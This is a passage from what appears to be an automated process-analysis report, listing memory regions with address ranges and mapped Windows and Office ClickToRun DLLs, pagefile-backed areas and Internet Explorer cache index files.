Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1626 start_va = 0x7fef7b60000 end_va = 0x7fef7b62fff entry_point = 0x7fef7b60000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1627 start_va = 0x7fef7b70000 end_va = 0x7fef7c0cfff entry_point = 0x7fef7b70000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") Region: id = 1628 start_va = 0x7fef7c10000 end_va = 0x7fef7c13fff entry_point = 0x7fef7c10000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1629 start_va = 0x7fef7c20000 end_va = 0x7fef7c23fff entry_point = 0x7fef7c20000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1630 start_va = 0x7fef7c30000 end_va = 0x7fef7c32fff entry_point = 0x7fef7c30000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1631 start_va = 0x7fef7c40000 end_va = 0x7fef7c43fff entry_point = 0x7fef7c40000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1632 start_va = 0x7fef7c50000 end_va = 0x7fef7c52fff entry_point = 0x7fef7c50000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1633 start_va = 0x7fef7c60000 end_va = 0x7fef7c62fff entry_point = 0x7fef7c60000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1634 start_va = 0x7fef7c70000 end_va = 0x7fef7c72fff entry_point = 0x7fef7c70000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1635 start_va = 0x7fef7c80000 end_va = 0x7fef7c82fff entry_point = 0x7fef7c80000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1636 start_va = 0x7fef7c90000 end_va = 0x7fef7c92fff entry_point = 0x7fef7c90000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1637 start_va = 0x7fef7ca0000 end_va = 0x7fef7ca2fff entry_point = 0x7fef7ca0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1638 start_va = 0x7fef7cb0000 end_va = 0x7fef7da1fff entry_point = 0x7fef7cb0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") Region: id = 1639 start_va = 0x7fef7db0000 end_va = 0x7fef7db3fff entry_point = 0x7fef7db0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1640 start_va = 0x7fef7dc0000 end_va = 0x7fef7dd6fff entry_point = 0x7fef7dc0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") Region: id = 1641 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1642 start_va = 0x7fef8360000 end_va = 0x7fef8366fff entry_point = 0x7fef8360000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 1643 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1644 start_va = 0x7fef9170000 end_va = 0x7fef91c0fff entry_point = 0x7fef9170000 region_type = mapped_file name = "concrt140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll") Region: id = 1645 start_va = 0x7fef9320000 end_va = 0x7fef933dfff entry_point = 0x7fef9320000 region_type = mapped_file name = "hlink.dll" filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll") Region: id = 1646 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1647 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1648 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 1649 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1650 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1651 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1652 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1653 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1654 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1655 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1656 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1657 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1658 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1659 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1660 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1661 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1662 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1663 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1664 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1665 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2500 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2501 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2502 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2503 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2504 start_va = 0x2f0000 end_va = 0x2f0fff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2505 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2506 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2507 start_va = 0x430000 end_va = 0x4effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2508 start_va = 0x5c0000 end_va = 0x747fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 2509 start_va = 0x750000 end_va = 0x8d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 2510 start_va = 0x8e0000 end_va = 0xcd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 2511 start_va = 0xed0000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 2512 start_va = 0xf50000 end_va = 0x121efff entry_point = 0xf50000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2513 start_va = 0x7feebdc0000 end_va = 0x7feebea1fff entry_point = 0x7feebdc0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 2514 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2515 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2516 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2553 start_va = 0x580000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 2554 start_va = 0xce0000 end_va = 0xddffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 2555 start_va = 0x1240000 end_va = 0x133ffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 2556 start_va = 0x13e0000 end_va = 0x14dffff entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 2557 start_va = 0x7fef3500000 end_va = 0x7fef359ffff entry_point = 0x7fef3500000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2558 start_va = 0x7fef9810000 end_va = 0x7fef98b6fff entry_point = 0x7fef9810000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 2559 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2560 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2561 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2562 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2563 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2594 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2690 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 2691 start_va = 0x4f0000 end_va = 0x4f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 2692 start_va = 0x500000 end_va = 0x501fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 2693 start_va = 0x510000 end_va = 0x517fff entry_point = 0x510000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2694 start_va = 0x520000 end_va = 0x521fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 2695 start_va = 0x530000 end_va = 0x533fff entry_point = 0x530000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2696 start_va = 0x540000 end_va = 0x543fff entry_point = 0x540000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2697 start_va = 0x550000 end_va = 0x550fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2698 start_va = 0x560000 end_va = 0x560fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 2699 start_va = 0xde0000 end_va = 0xe9ffff entry_point = 0xde0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2700 start_va = 0xeb0000 end_va = 0xebffff entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 2701 start_va = 0x14e0000 end_va = 0x15dffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 2702 start_va = 0x1600000 end_va = 0x16fffff entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 2703 start_va = 0x1810000 end_va = 0x190ffff entry_point = 0x0 region_type = private name = "private_0x0000000001810000" filename = "" Region: id = 2704 start_va = 0x1940000 end_va = 0x1a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 2705 start_va = 0x1a50000 end_va = 0x1b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a50000" filename = "" Region: id = 2706 start_va = 0x1b50000 end_va = 0x1e92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b50000" filename = "" Region: id = 2707 start_va = 0x1fb0000 end_va = 0x1fbffff entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 2708 start_va = 0x2080000 end_va = 0x20fffff entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 2709 start_va = 0x2140000 end_va = 0x223ffff entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 2710 start_va = 0x2280000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 2711 start_va = 0x2500000 end_va = 0x25fffff entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 2712 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2713 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2714 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2715 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2716 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2717 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2718 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2719 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2720 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2721 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2722 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2723 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2724 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2725 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2726 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2727 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2728 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2729 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2730 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2731 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2732 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2733 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2734 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2735 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2736 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2737 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2738 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2739 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2740 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2741 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2742 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2743 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2744 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2745 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2746 start_va = 0x7fffffd7000 